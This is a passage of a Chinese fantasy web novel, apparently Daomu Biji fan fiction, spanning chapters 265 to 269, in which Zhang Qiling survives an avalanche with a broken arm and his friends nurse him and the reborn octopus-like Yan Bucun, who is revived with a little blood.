清如感觉到胃里有些恶心了，于是赶紧偏开头，不再去看，而对面的那帮人显然也顾不上张祈灵和清如，毕竟吃不到烛龙肉的可不是对手，没必要将自己的气力浪费在这种人的身上。 他们是这么想的，张祈灵显然也是。 所以，张祈灵很快看向了清如，“时间。” 问的是要等到什么时候。 清如忍住翻涌上来的生理性恶心，拧了自己的胳膊一把，才勉强开口说。 “这个世界上，没有不付出代价，就能得到的东西……他们免费吃了烛龙的血肉，那烛龙也不会让他们好过，所以，我们出去的时间会很快，不要着急。”清如话落后，才将视线转了回来，不过只堪堪停在了她自己的脚尖处。 烛龙的血蜿蜒到了她的面前，张祈灵拽着她往后退了一步，而很快，烛龙的尸体便爆发出了异样，吃了它血肉的亡魂的肚皮，像是充气一般的炸裂开来，飞溅的各色内脏，在空间里飙出了血花。 张祈灵攥住包裹着衍卜寸的红玉珠，随后手便放到了自己的背后处，不让尚且“年幼”的衍卜寸看见如此恐怖的一部。 其实，说他们是亡魂真的不恰当，因为张祈灵能够看到，属于人类的肢体正不断的在半空中，因为他们贪婪地代价而疯狂挥舞，烛龙很聪明，比张祈灵所想的还要聪明。 它不是一个死后，还会给其他人留福利的家伙，烛龙将体内还未消化掉的麒麟火储藏着，并在外部躯壳完全瓦解后，还顺着它的血，当成起爆器，引燃了不少仍在舔骨的家伙们。 真是人间炼狱一般的场面。 但张祈灵只是淡定的看着，毕竟，对方的欲望，或者这些人的欲望，与自己都不相干，就算是缔结出所谓物质化存在的自己的烛龙，也不过是因贪婪而苟活下去的腌臜之物。 他看的很透彻，很清楚，也不会让自己陷入所谓逻辑怪圈中去。 而等待烛龙彻底将力量泯灭后，张祈灵便看见那扇已经满是裂痕的门，已然彻底崩塌，他没有再看清如，也没有招呼对方，只是自顾自带着衍卜寸往前走。 反正对方不是傻子，张祈灵认为自己需要考虑一下衍卜寸最后的家人，可绝不会真的亲自去恭维什么。 直至，他彻底出了那个困住所有人世千年的空间，长白山冷冽的扎肺般透亮的寒风，从鼻腔灌进气管的感觉，让张祈灵明白，这才是真正的活着。 这世界上，实际上不需要那么多欲望，也不需要那么多需要付出承担不了，甚至掏心掏肺代价的交易。 因为吴峫就是那个特例，他之后对自己的满足，换来了如此幸福团结的一家人，人需要的是知足常乐，是靠自己的坚持，去改变自己对他人的不理解，是渗透，是几个问题之间点醒的情意。 张祈灵缓缓的深吸了一口气，感受着刺骨的寒凉溜遍全身，带来的清明感，他的视线眺望远方冉冉升起的太阳，云间和天空，是还未被渗透完全的墨蓝，可其山后，已然染上了极致的红。 “家人。”张祈灵念着这两个字，随后才下了山。 一切重来没什么不好的，更何况自己有记忆，吴峫和胖子还有其他人，也正是年少时最健硕的身体，他们会很幸福，余生都会这么一直幸福下去。 而衍卜寸…… 张祈灵在行走踏雪的过程中，看了一眼这个尚未撑破蛋壳般的小家伙，都说浴火重生的是凤凰，可自己却不觉得，这个世界上只有鸟类才能被称之为所谓的传奇。 因为衍卜寸也是一个奋不顾身为朋友，为家人，愿意牺牲自己的英雄。 他是小章鱼，而小章鱼，不需要再背负那么多了，因为他就是普普通通的小章鱼而已。 张祈灵挂着连他自己都不知道的浅笑，攥着被他当成家人呵护的衍卜寸，准备与大家会合，而在他下到半山腰的时候，却撞到了鼻涕冻在嘴上的胖子。 对方见到自己，差点喜极而泣，拼命的划拉了好几下眼角，才勉强止住酸涩，“祈灵小兄弟，欢迎回家！” “欢迎回家，祈灵。”吴峫温柔的摸着张祈灵的头，不过现在一切的时间，都回到了最开始，虽然张祈灵没了长发，但依旧好摸的紧。 黑瞎子将拉二胡差点抽筋掰不回来的手，背到了身后，笑嘻嘻的打招呼，却被同样一前一后的下山的小哥，直接按住穴位治了本。 “哑巴！你不能乱治病的！我草啊！疼疼疼疼疼！！！”黑瞎子想把手抽回来，谁知道从飞机上赶来的解雨臣，直接把自己的肩膀按了下去，力道大的像是要把自己的半个身子嵌进雪地里。 解雨臣脸上的急切还没有消失，但在确认完张祈灵状态良好后，才松开了按住黑瞎子的手，“抱…抱歉……一路跑上来的，有点，没喘上来气，就扶了一下。” 囧着张脸的黑瞎子，有些不可置信刚才解雨臣的力道，结果他往后一瞅，才发现天塌了，解雨臣竟然背着一个满到装不下的登山包，难怪重成这样，黑瞎子表示这简直是钢筋吧！ 不过，在前面安慰着张祈灵的吴峫和胖子，显然发现了一个奇怪的点。 “卜寸小同志呢？”胖子抻长了脖子往张祈灵身后看。 而张祈灵将手摊开，示意着，“这里。” 众人目光齐聚，而在他的掌心中躺着的，唯有一颗散发漂亮艳色的红玉珠。 第265章 两眼一黑 众人打量了好几遍，才接受了衍卜寸逆向生长的信息，但也不知道算是好消息还是坏消息。 好消息衍卜寸是保住了命，但坏消息是他记不记得一切，还是一件难事，况且…… 胖子领着大家下山，一路都在不解的抓着吴峫碎碎念，“不是，那衍卜寸是卵生，需要给他找个母章鱼来孵吗？诶呀，东北这边章鱼能买到吗？！” “不管买不买的到，我觉得胖子你说的确实有道理。”吴峫被胖子的连环夺命问，搞的也开始头脑风暴，“待会儿去集市上看看，有的话就买一只。” 胖子听着吴峫肯定自己的话语，满意的点了点头，而张祈灵攥着的衍卜寸，还在像暖手宝一样的散发热量，直到突然间一烫，让张祈灵一下子没握住，竟让他滚落在了雪地里。 而就是张祈灵弯腰的这一下，却听到远方所传来的，爆破一样的凶悍声，甚至山体与地面，都在肉眼可见的震动。 这是衍卜寸在提醒自己。 张祈灵见此，立即捞起了衍卜寸，而黑瞎子也应声抬头，骤然出声提醒，“雪崩！！！” 此时此刻，由山顶扑下的厚雪，像是滚滚的白色浓烟，正越过所有的树干遮挡，直接冲着泯灭一切生灵的架势追逐下来。 大家瞬间就跟上了发条一样，由生命危机带来的惊恐，让肾上腺素飙升，吴峫顶着寒风带来的阻力，连眼睛都睁不开。 “不是，这究竟是什么东西爆了！”胖子不解的迈着腿，恨不得将腿甩出残影。 而小哥在他身侧回答着，“巨物。” 张祈灵抬头，看了一眼身后补充道。 “门。” 张祈灵能够看到满天红艳艳的碎片，哪怕在浓雪蒸腾的掩盖下，也仍然像密集的导弹一样，被爆炸的冲击力所击的四处飞散。 “你们怎么看出来的？”解雨臣不解的问，完全不清楚张祈灵和小哥的共脑。 而吴峫精准猜测，“小哥是根据爆炸范围所波及到我们，来推理出来的，祈灵是捏着衍卜寸，红玉珠带来的功效，就是能够让人看到常人看不到的东西，而黑眼镜，是靠耳朵听出来的雪崩。” “正解！”黑瞎子转身给了吴峫一个大母哥，却差点因为背后看不到的石头被绊倒。 而张祈灵则在奔跑的同时，看着那些红铜所坠落的方位，正巧有一块是扑着自己头砸下来的，他赶紧躲避开来，并给了快要筋疲力尽的胖子一个推力。 “谢了兄弟……”胖子气喘吁吁的，感觉自己这辈子也没有这么疯跑过。 毕竟，在血尸什么粽子的面前，自己能够一把火和雷管占尽威风，可现在面对大自然的灾难，那可谓是把皮带甩出残影，也抽不出来一朵花。 张祈灵见大家的体质还不能与其抗衡，直接趁着下一块巨大红铜砸下来时，一把抓住，然后直接不顾手臂的负荷，挥动后将其斜杵在了地面上。 “藏着！”张祈灵把胖子的后颈拽了过来，并命令着其他人。 而众人，快速躲进了张祈灵所创造的临时抵御板中，铺天盖地的雪，快速埋没了视线范围内的一切，幸得张祈灵创造的空间，扛了一部分雪的重力。 等着雪崩结束后，大家挖开了上方的雪。 吴峫率先去看张祈灵，想要感谢一下，却见对方的左手臂已经成了一个扭曲的折断状，张祈灵的小臂，如今是直接扭不回来了，显然是用力过大造成的副作用。 看来那红铜片的重量，简直是超脱想象的，不然怎么能够抗住雪崩带来的压力？ 此时吴峫不知道该怎么碰，他赶紧招呼着，“小哥，黑眼镜，快来看看祈灵的手！这必须要处理，不然下山后去诊所还要一段路程，来不及的！” 黑瞎子和小哥窜了过来，现在他们才明白刚才张祈灵施救的动作，完全是把自己当非人类去用，扭曲的惩罚不仅仅是筋，而是骨骼，最主要的是张祈灵会缩骨功，正因为身体即近柔软的好处，才恰恰造成了现在最严重的结果。 “负荷太大，用手是掰不回来的。”黑瞎子蹙着眉头，下着结论。 而小哥在看清张祈灵的情况后，也阴沉着脸，显然是不喜欢张祈灵的这个行为，可情急之下，张祈灵也是正确的保护了所有人，论教训，也不是这个时候。 所以，黑瞎子见小哥没能憋出来什么教训的话，便立刻蹲下来，冲张祈灵说道，“上来！我背你下去最快！” 张祈灵没有丝毫的迟疑，直接爬上了黑瞎子的背，过去是他背着黑瞎子逃亡，而现在是他伏在黑瞎子的身上，成为了那个被拥护的人。 众人下山后，张祈灵很快被送进了就近的小诊所快速处理，紧接着又转移到了正规的医院，解雨臣打通消息，防止张祈灵无身份证录入医库的事流出来。 而张祈灵躺在病床上，眨巴着眼睛，看着自己打完石膏的胳膊，只觉得这一路大家的关心满玄幻的。 似乎一切真的回到了那个，还被信任所包裹的最浓厚的时候，只不过不同的是，现在的情谊，是经历了出生入死后最坚固的。 于是，张祈灵躺在病床上，旁边赫然围了一圈人。 吴峫旁侧扎块菠萝，就想要立刻喂给张祈灵吃。 而胖子立即挡住，输出自己的观点，“吃什么水果啊！以形补形，等我外卖买的排骨汤到了补补最好！” “胖子，等你的排骨汤到了，祈早就饿的打滚了！”黑瞎子说完，便将胖子的手怼走。 而解雨臣则在其中当着和事佬，拉着架，“让小祈自己选不好吗？不要再争了，吃东西又不急这一会儿。” “他手现在打着钉呢！干什么都不方便，这不得亲力亲为吗？”胖子实事求是的说着。 而众人犟了半天。 张祈灵这会儿，才迷茫的抬起自己，已经成为棒槌升级版大萝卜一样的手，然后立刻反应过来，没法发声的那个家伙不在自己掌心里了，他疑惑地巡视周围，“衍卜寸……” “我去，祈灵小兄弟你醒了！”胖子立刻眉开眼笑，顺便用自己的大屁股挤走了黑瞎子。 而黑瞎子还来不及恼，就见胖子又一个转身给自己肘了一下，跟玩篮球那抢球动作一个样，惹的黑瞎子骂出声，“卧槽，你他妈故意的吧？！” “我家祈灵小兄弟想要我找衍卜寸，是你挡着我了！”胖子无辜的咔把那小眼睛，语气里带着的，是对黑瞎子满满的谴责。 而在你拌一嘴，我踢一脚的过程中，吴峫直接摸着将衍卜寸顺利拿了过来。 但这却让平日里情绪不外露的张祈灵，第一次出现了罕见的嫌弃表情。 因为，吴峫抱着的水缸里，还有一只冻货章鱼，而红玉珠颤抖着不停的躲，却还是被那具尸体骚扰般的碰来碰去。 张祈灵是真觉得有些两眼一黑。 胖子见张祈灵的模样，立刻解释着，“东北太冷了，原本在大棚买的时候，是活的，绝对的母章鱼，我问了好几遍呢！但这拿到医院来，一路上抱着，两分钟就冻上了，就是天气原因的液体，说不定缓缓还能用来孵卵……” 正捧着水缸的吴峫，转过头看着说鬼话的胖子，而对方则是挤眉弄眼示意自己安心。 “不是，你们真的以为祈这么好骗吗？而且，考虑考虑衍卜寸感受好不好！一睁开眼，旁边躺着一具冰冻尸体，还因为水导致冲到身上，碰来碰去的，你不难受啊！”黑瞎子赶紧将水缸里的母章鱼拿出来，然后丢在了垃圾桶里。 可谁知道，几秒钟不到的时间，章鱼便伸长了触手，直接从垃圾袋里跑了出来，动作移动的跟变异似的。 这章鱼行动力强悍，吓得胖子花容失色的嗷嗷乱叫，“不是！我不是在地面上吗？！我出现幻觉了吗？这地底下的东西，还能从集市买到吗？它怎么会自己追着人跑！” 小哥默默地在胖子跳脚的混乱中，精准的抓住了章鱼。 而站在旁边，用纸巾擦着手的黑瞎子，正无奈扶额，并扯断了章鱼身上缠着的红线，有些调侃的评价，“衍卜寸，你还是人类身体的时候，我怎么没见到你这么皮实？现在这么愿意逗人了。” 在水缸里的珠子颤动了一下，随后竟跳了出来，滚在了张祈灵的怀里，仿佛因为被黑瞎子骂，而求安慰一般，大胆的冲自己喜欢的人撒着娇。 而胖子听了黑瞎子的解释，终于稳了稳心神，但还是面容难看的，盯着衍卜寸这珠子拱来拱去的模样，耿直问道，“这是想让祈灵小兄弟孵吗？公的也可以啊？！” 在旁侧的吴峫，差点被胖子的思路搞的捶胸顿足，他忍住自己胸腔的痒，将水缸放好后，才笑出了声。 “胖子，我觉得，公的母的真不重要。”吴峫意味深长的拍了拍胖子的肩膀，“人家有自己的考量呢。” 第266章 碎了 胖子很快意会了吴峫的意思。 他目光游移在张祈灵和其手上的红玉珠后，便很快的将嘴贴近了吴峫的耳旁，“可是，天真啊，我记得，你不是很介意卜寸小同志接近祈灵小兄弟的嘛，怎么忽然之间变了卦？” 吴峫并没有快速的回答，他只是将所有的注意力都放在了现今衍卜寸的珠子身体上，然后打着哈哈说自己要和胖子拿外卖，就将胖子拽了出去。 等到了安全距离后，吴峫才皱着眉反问起来，似乎很是不解的模样。 “胖子，你为什么觉得我介意？” 而胖子回想着，刚才衍卜寸钻进张祈灵病服领口贴着皮肤的亲昵模样，意味深长的摸了摸下巴。 “毕竟，男生之间谈对象，应该是兔哥吧？按我那会儿，我要是跟我老妈说我要当兔哥，她能拿着扫帚，追着我跑九条街，扬言要给我打断腿后逐出家门。”胖子实事求是的说，满脸都是无奈。 但吴峫却并没有笑，他疑惑地歪头，是真的有些不可思议于胖子的话，“不是啊，我介意衍卜寸接近张祈灵，是因为他总会带来危险，就像曾经的……我。” 吴峫搓了一下掌心，鼓足了气后，才继续在胖子否定的心疼目光中，打断了胖子即将脱口而出的安慰。 “卜寸和我第一次正式见面，就是在古潼京前的沙漠里，他与汪家的苏难同伍，又那么贴近于祈灵的身边，是个人都会警惕，都会心怀芥蒂，更别提是那个时期，除小哥和你还有小花，黑瞎子之外谁也不相信的我了。” 许是吴峫与胖子的对话时间有些长，处理好衍卜寸操纵的章鱼傀儡后，黑瞎子闲不住，便将头靠在门上，耳尖一动，就听了半天。 “瞎子，这样不礼貌。”解雨臣想将黑瞎子拽回来。 却见对方的食指堵住了唇，做了个噤声的动作，黑瞎子勾唇笑着，声音压的低，竟有一种蛊惑般的哑，“都是兄弟，什么样子都见过了不是吗？况且，有些真心话，我徒弟好面，不肯说，有些事，有些人想听，过来就成。” 原本，还在与衍卜寸这个乱窜的珠子较真的张祈灵，瞬间抬起了头，他对吴峫的话唯命是从，所以刚在对方拉着胖子出去时，他真的以为是在拿外卖。 于是，张祈灵立刻将眸子定向小哥，察觉到张祈灵意思的小哥，也在短短一秒钟的时间里，将张祈灵直接抱下了床。 不明所以的衍卜寸感受着张祈灵的心跳，只觉得安心。 可下一刻，小哥将张祈灵移到门口时，衍卜寸便感觉自己的身体被捞了出来，而抓住自己的就是最欠揍的黑瞎子。 衍卜寸来不及挣扎，就被直接贴在了特殊病房才有的猫眼处，外头的吴峫压抑着自己的情绪，却还是要装作正常的叙述模样，可身侧的手却是越攥越紧。 能够让吴峫如此揪心的事情，也就只有张祈灵和小哥，还有其他人的安危了，尚且身躯小小，但头脑清醒的衍卜寸推测，目前的大家没有遇到难以克服问题的情况，应当不是自己这边出了问题。 但很快，衍卜寸就听见了吴峫接下来的声音。 “可我很快发现，过去我对卜寸的那些观点，都是未知全貌，就定义下来的成见，要不是他，我这辈子都不可能再见到祈灵了，要不是他，我也根本不会解除到这个世界上的另一种势力，要不是他，我完全会因为无所知的创造生灵的愿望，而付出献祭生命的代价……” 吴峫的眼眶湿润，接着说出一个又一个事实，“所以，他从不是敌人，但我一直觉得，他对祈灵的目的不纯，所谓的臣服与崇敬神明，我也只是觉得，那是他被救赎所带来的恍惚感，其他人也可以，他对祈灵绝不会那么的执拗，那么的一头撞进南墙。” 见吴峫将心中的话讲出来后，胖子便立刻按住了吴峫的嘴。 “但现在，天真你看清了卜寸对张祈灵是真心的，所以才会接纳他们进行接触。”胖子总结着，用自己宽厚的手，给吴峫擦着已经跑出眼眶的一点湿润，“可这些话，你不应该只对我说。” “我知道。”吴峫不想那么矫情，于是掰下了胖子的手，自己将脸上的那些泪珠擦了个干净。 胖子看出了他的问题，于是便根据这些年来的了解，顺着吴峫自己的心意，将他往前推了一把，“和本人说，会比和一个知心朋友说自己的愧疚更好，天真，你明白我的意思吧？毕竟你那么聪明。” 听此，吴峫转头冲胖子笑了一下，原本他便打算与胖子说清自己的想法，可现在看来，当自己与胖子开口时，便知道了自己心底里藏着的未尽之言。 于是吴峫立即抬起步子，而胖子也在后头接到了外卖，就在吴峫即将开门之际，破了缝隙的红线从门下的那一点儿空间钻了出来，并开了个吴峫永远看不到的花，可很快，吴峫便感觉自己被温暖的东西包绕住。 像是巨大的手臂，用以轻柔的力道，拥护住自己的全身，吴峫浅笑，在意识到这看不见的怀抱，来自于衍卜寸后，他率先的加深了力道。 黑瞎子按在猫眼处的衍卜寸，正发散着自己的力量，排解着吴峫多年来的纠结和歉意。 虽然目前的自己还说不了话，但这个世界上，能够表达情感的方式有很多。 “对不起……”吴峫想到被自己拎到衍卜寸身边的小寸，想到那个因为是怪物体，而不被接纳其中的怪怪，想到衍卜寸的拼劲和对张祈灵的执拗。 无数个看似被忽略的点，却逐渐凑成了一个完整体。 衍卜寸默默加深了这个温柔的拥抱，而张祈灵，则似懂非懂的赖在小哥的怀抱里，看着那来自于血液以及灵魂所带来的，绽放的线花。 它们正附着在墙壁，像是藤蔓一样，拥有极致旺盛的生命力。 “天真，愣着干什么呢？开门呀。”胖子疑惑地戳了戳站在原地与空气拥抱的吴峫，随后错身开了门。 可谁知道，倚在门上的黑瞎子，因为太专注于听吴峫与衍卜寸和解的场面，竟在胖子压把手的那一刻，直接连人带珠的扑在了地上。 “我靠！胖子，你是瞎子我的克星吗？”黑瞎子骂完，刚打算仰起头，却感觉到了怀中异颤，这让他立即将所有的动作都顿在了那里。 也就是清脆的破裂声后。 黑瞎子惊诧的险些将自己的舌头咬掉，“衍卜寸碎了！！！” 第267章 浓度 刚才拉开门的胖子，惊愕的蹲下去，就见黑瞎子捧了个粉红的非牛顿流体出来，而卵体破裂的圆形躯壳，已经碎了一地。 “我滴天啊！”胖子连忙掏出外卖里送的纸，赶紧将地面上还在流的东西，慌里慌张的捻了起来。 它们在纸张上并不聚拢，反而会呈现出略微粘稠的固体状，任胖子怎么看，都像是鸡蛋里头呕出来的家伙。 而感受到周身温度降下去的吴峫，也立即根据他们话语里头的意思，推断出了情况，他从胖子的后方冒出了头，“卜寸怎么样？碎了还可以拼起来吗？” 正在归拢衍卜寸残骸的黑瞎子，急的后背全是汗，胖子也将自己捧着的那些粘液，放进了黑瞎子的掌心中，可这家伙就跟那细胞分裂似的，无论如何也黏合不到一起。 张祈灵在他们的后方，戳了戳小哥的胳膊，示意自己要过去看，而外面还在惊叫的众人，察觉到这里是医院以后，便进入病房内，锁上了门。 “衍卜寸是可再生的吧？毕竟是章鱼。”解雨臣将水缸搬了过来，“放进去试试呢？” “死马当活马医！”胖子立刻腾起黑瞎子手上的衍卜寸，然后将其放进了水里。 可没入水中的瞬间，就跟那蛋清似的，慢慢的飘着，却没有任何生命迹象。 张祈灵就近看了半天，然后才在众人不知该当如何的目光中，抬起头，“长大。” “长大？可他现在的模样，不是更像是熬了一大碗蛋花汤吗？”胖子比了个海碗的大小，震惊的模样，完全呈现在他不可置信的脸上，“而且，祈灵小兄弟，我活了这么多年，也没听说过，章鱼生长出来的时候是无形的啊！” “不。”小哥反驳了胖子的话，“有形。” “哪里呢？”吴峫快将眼睛贴在水缸上了，却还是没看出这水中除了淡色的红外，还有什么更多的东西。 但小哥没有立即回答，只是抬起了下巴，示意还在惊诧的黑瞎子将吴峫拉远些。 随后，意料之外的事情发生了。 水缸骤然爆破，虽然张祈灵距离很近，但却没有移动，而是没有丝毫畏惧的盯着看。 那些溅射出来的水珠，跟知道自己该拥有怎样的下落轨迹似的，直接精准的避开了处于最前端的张祈灵。 而黑瞎子拢住吴峫的手腕，将人拽离的更远一些后，抬头之际，才看到整个病房，已经被红线所覆盖完全。 黑瞎子看着水流动的方向，完全是被衍卜寸所操控的，而那些线，正贯彻在张祈灵轮廓的边沿，任水珠小滴的缓流着。 直到，那水滴轻轻地从张祈灵的身侧落下后，衍卜寸才终于现了身。 他跟着刚才的水珠，直接啪嗒的落在了张祈灵的脚边，吴峫从黑瞎子身后转出来，和胖子在大眼瞪小眼后，才发现地面上的，是一个小小的像汤圆一样的章鱼团子。 而那小东西，正扒着张祈灵的裤脚，懵了几秒后，就准备重新往上爬。 “衍卜寸？”吴峫疑惑地叫了一声。 而张祈灵也蹲下来，将衍卜寸捧在了手里，微凉的小章鱼躺在张祈灵的掌心中，开心的差点化成一摊水，但他听到吴峫唤自己，还是将一根软绵绵的小触手抬了起来晃了晃。 胖子震惊的要狗叫了，他搓了一把自己的脸，在心里头压抑着对于可爱和良心之间的反复横跳。 虽然自己过去看见了衍卜寸和小寸还有怪怪融合的模样，可是，见着原本过生生的人变成如此模样，第一反应还是惊诧极了。 胖子整理了一下情绪，在脑子里过了一遍章鱼的饲养手册，但最终还是没想出什么能派上用的方法，“其实……这算孵出来了对吧？我要不要去海鲜市场买点儿虾米，这太小了，能吃啥啊？” “虾米我觉得可以，衍先生觉得呢？”解雨臣点头，认为胖子说的这个建议可以施行，而等说完话后，他就将视线移向了还赖在张祈灵掌心里的衍卜寸。 衍卜寸察觉到大家灼热的目光，便立刻将自己四仰八叉朝天的姿势给改成坐着，很是同意的架着两只触手交放于身前，一本正经的磕了几下脑袋，示意自己可以接受虾米。 可谁知道，衍卜寸才答应没多久，病房关上的门就直接被打开了，而胖子凑过去瞟了一眼，发现竟是一个陌生人。 女人个子不算高，但目光锐利。 胖子摆了摆手，有轰人的架势，但因为对方是女性，所以还是礼貌的放柔了声音，“妹子，你找错病房了吧？” “没找错。”女人说着就想要往里挤。 胖子见她这个架势，赶紧将人的肩膀按住，“不是，你不能这样直接闯进来啊！” 然后，胖子便扭头，眼睛快要挤出摩斯电码来了，为的就是示意张祈灵他们赶快将衍卜寸藏起来，以防被外来者发现他们私养“章鱼”的异常，毕竟，没人会随身这样的宠物吧？ 女人见胖子不肯让自己进去，扶着自己的脑袋，刚才那下山的一路冷风，直吹的头疼。 “我是衍清如，至于我变模样，具体的来不及解释，衍卜寸现在不能吃虾米，想让他快速成长，得喝血。”她指了指张祈灵藏掖在身后的衍卜寸。 而张祈灵看见她的脸，也放松了警惕，她既然是衍卜寸所信任的家人，就不必那么的剑拔弩张。 “血？”张祈灵将衍卜寸往前送了一下。 而胖子也像地铁闸门开了一样，将清如放了过来，她站定在众人面前，抬眼看着张祈灵，“对，而且，是麒麟血，不过食用量不用特别大。” “这方法靠谱吗？”吴峫疑惑地歪头，他猜出来清如应该是做交易，而所有时间回退后，她也重新回到了最开始的模样。 但这以血饲养的方式显然有待考量，万一小哥和张祈灵喂的时候，衍卜寸和他们二人发生意外怎么办？ 清如察觉到吴峫思量的目光，于是为了验证真实性，直接将自己的手指用匕首划开了，“衍卜寸现在的状态，和死了一次没有区别了，因为它目前就是从性成熟阶段，重新回到了水质形阶段，这是张宇应对生命危机之后保护自己的本能。” 随后，清如便将自己滚出血珠的手递了出来，在血液即将落在衍卜寸身上之前，张祈灵却扣住了她的手腕。 “浓度，不够。”张祈灵看着那血。 黑瞎子摸着下巴，恍然大悟，“因为过去衍卜寸是用历代张祈灵的血滋养的，如果想要恢复到成年状态，就需要麒麟血来辅助，而你给血，是为了向我们验证血真的有用，不过祈说了，你的麒麟血是被稀释的，所以作用不大，但是可以补充一点儿能量。” “是这个意思。”清如点头，“衍卜寸现在的状态很脆弱，我建议你们最好买一套生态箱。” “好。”解雨臣立刻打开手机，吩咐着手下去买。 而胖子眨巴着眼，见清如将事情交代清楚后，便把她手上的匕首薅了过来，然后一把扔在垃圾桶里，“姑娘家家的，下次别这么着急，不就是卜寸小同志浴火重生一次嘛，你给自己照顾好了，咱们也给卜寸小同志养好，都是一家人，别对自己舞刀弄枪的！” 第268章 小孩子气 在水箱买来之前，解雨臣还有其他人，和医生再三确认了张祈灵目前可以出院，但需要回来复查后，才租车去了在长白山地界新买的郊区别墅里，打算将其当作张祈灵和衍卜寸养病的基地。 而人到了，生态箱也安装在茶几上后，小章鱼版的衍卜寸才被放进了里头。 不过，他目前的看起来的状态并不好。 因为现在的衍卜寸，并没有前面跟张祈灵撒娇的劲儿，甚至只会柔软的，随着生态箱里所打氧出来的泡，随意地任由身体飘荡。 “这真的没事吧？卜寸小同志状态不太对劲啊！”胖子的小眼睛贴在玻璃上，压根不肯移开视线，而在水流和折射下，他的瞳眸显得有些开，抻的跟海绵宝宝的卡姿兰大眼睛似的。 而吴峫距离胖子不远，他正和张祈灵坐在沙发上，并将排骨汤的盒子打开，然后张祈灵有些无措的目光下，舀了一勺汤就打算喂张祈灵。 张祈灵摇头，表示自己有一只手还能用，但却被吴峫的严肃的目光给唬住了，也就是他这么一愣神的功夫，就让对方顺利喂进去了。 排骨汤味道不错，张祈灵咽下去后，在心里偷偷夸了下胖子眼光好，随后，他便顺着内心所想，向胖子那边看了过去。 而胖子正蹲着，用指甲盖弹起玻璃钢，旋即察觉到张祈灵的目光，于是抬眼问道，“你们说，咱们要不要先试一下虾米？总不能让卜寸小同志饿成章鱼干啊！而且，刚那小姑娘，我都不敢让她喂，谁家好人哗一下眼睛都不眨，就给自己喇个口子出来？太吓人了！” “胖子，我觉得你待会儿再说比较好。”吴峫戴上一次性手套，给张祈灵沥出来了排骨，送其嘴边道。 不明所以的胖子急的直拍桌板，“不行！天真，这种事怎么能拖！到时候卜寸小同志都化成汤了！” “不是，我的意思是……”吴峫还未说完。 就见张祈灵嚼着排骨，脸颊鼓起，一脸耿直又呆板的伸出手，指了指胖子身后。 而胖子疑惑地回头，就见清如叉着个腰，笑眯眯的盯着自己半天。 “嘿！来吃晚饭了是吗？”胖子感觉自己像个说别人坏话，又被抓包的那个，转移话题时，背上滚的那是一层冷汗。 但清如，刚才只是去给大家买这些日子需要的洗漱用品罢了，并没有因为胖子的话而生气。 毕竟，不是每一个没有被验证的事物，都能得到他人毫不犹豫地百分百信任的。 况且，清如自己也是据事实推测。 但麒麟血对衍卜寸成长的效用是真的，于是，她将洗漱用品放在洗手间后，才重新走出来，并理了理自己的小包，又拽了个抱枕坐下来，紧接着便与胖子搭话，“是该吃晚饭了，不过，能最快吃的家伙，不是我们。” 她的指尖点了点生态箱，发出清脆的声音。 “衍卜寸是可以吃虾米，但对于他个人的身体生长没有太大的作用，只是能保证他吃饱而已。我说这些话，不是在逼迫你们必须为他的健康，而付出巨大的代价，而是他现在不能等，越早摄入麒麟血越好。” 吴峫听了这话，并没有着急反驳或者是给出任何的评价，他只是伸出手，让张祈灵将骨头吐到自己的手心里，然后将其用纸包好，丢进垃圾桶里才开始说话。 “你的建议我们清楚，卜寸是我们的兄弟，更是你的家人，我们不会放弃他的。”吴峫目视着清如的眼睛，在看到对方并没有任何的恶意后，才将视线转回张祈灵。 吴峫柔声细语，像是在哄孩子似的，“祈灵，刚才给你补了骨头，等晚饭的时候，黑瞎子他们就带着鸭血回来了，到时候都给你做上，现在，我们用一点点血喂卜寸可以吗？” “嗯。”张祈灵乖巧的点着头，他其实觉得，献血没那么大不了的。 但吴峫的这种态度，可能是意识到过去亏欠过多，而造成的小心翼翼地讨好。 于是，为了让吴峫不那么一直处于紧绷的状态，张祈灵又轻拍着他的肩膀，并用眼神示意自己不会怕，也不用担心。 而等清如翻开身上的挎包，拿出了长针。 “不是，大妹子，用这针灸针是要捅到骨髓里吗？”胖子惊诧的按住清如的手腕，“使不得啊！” 围在一块的吴峫，自然也看到了清如的工具，耿直道，“没必要用这么长的吧……” “是没必要，我这完全是那些小针在门里跑的时候，丢的差不多了，就这针灸针还在。”清如说着，又将蜡烛拿了出来，并在茶几上点燃，将针身烤了一轮后甩了甩等降温。 而察觉到胖子与吴峫目不转睛的模样，她挑了下眉，叹了口气后解释道，“我这是消毒，不是烤完就戳。” “那就行。”胖子松了口气。 见着长针褪去热量的张祈灵，即立刻的伸出了手，而在目光灼灼齐聚的情况下，清如沉住气打算落针，却听到门口处传来巨响，嘭的一声，但没能让她的动作有丝毫的迟钝。 针尖刺入指腹，张祈灵的手腕被清如快速的提到了水缸上方，红艳的血落入水中，原本处在低靡状态的衍卜寸，似乎立刻活跃了起来，他扑棱着自己的触手，像刚苏醒一般，才想起来膨胀身体，并一鼓一鼓的游动。 “在干什么呢？”黑瞎子提着鸭血，看着那一个个脑袋都凑在一起的模样，略微歪了歪头。 而他旁侧的小哥肩上还挂着蔬菜袋，并盯了一眼身后，随即将黑瞎子往左边拉了一点儿。 解雨臣正找了家具公司搬东西，小哥把黑瞎子拽到客厅，给那帮人腾地方。 但看到张祈灵已经将血喂出去的时候，小哥确认衍卜寸恢复活力后，便将张祈灵的手立刻掰了回来。 可处于水缸里的衍卜寸，察觉到自己欢喜之人的离去，不甘示弱的直接蹦着，在最后一刻衔住了张祈灵的手指，而短短几秒的唾液接触后，张祈灵手上的伤口便消失的无影无踪了。 看到这一幕的黑瞎子，意味深长的盯着哪怕变成章鱼，也依旧护主的衍卜寸。 随后，黑瞎子便将手里的鸭血袋子，随意找个地方撂着。 紧接着，他饶有兴致的俯身，将衍卜寸从张祈灵的手上利落的扒了下去，并调侃其衍卜寸利用身形之便的得寸进尺，“一天天这么黏糊呢，有没有一点儿作为人的分寸感了？” “叭卟！”衍卜寸愤愤不平的落回水里，选择背对着黑瞎子，将自己鼓成了个圆滚滚的团子，以此来证明自己只是一个单纯善良可爱的小章鱼。 小孩子气的很。 第269章 动人的神情 “瞎子，别逗他了。”解雨臣指挥着那些人将家具放好后，就让他们出去了。 黑瞎子搓了一下自己与衍卜寸接触以后，略微湿润的指尖，“我才没有逗他，这东西就黏祈，现在喂起血来，那不是更依赖了？祈也需要养伤，也不能二十四小时转着他玩。” “叭卟！”衍卜寸听到，生气的从水缸里爬起来，耀武扬威的挥舞着自己的触手，表示自己并不会为了一己私欲而缠着张祈灵不放。 